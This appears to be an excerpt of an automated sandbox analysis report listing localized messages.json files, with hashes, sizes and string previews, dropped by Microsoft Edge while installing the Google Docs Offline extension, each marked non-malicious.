Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
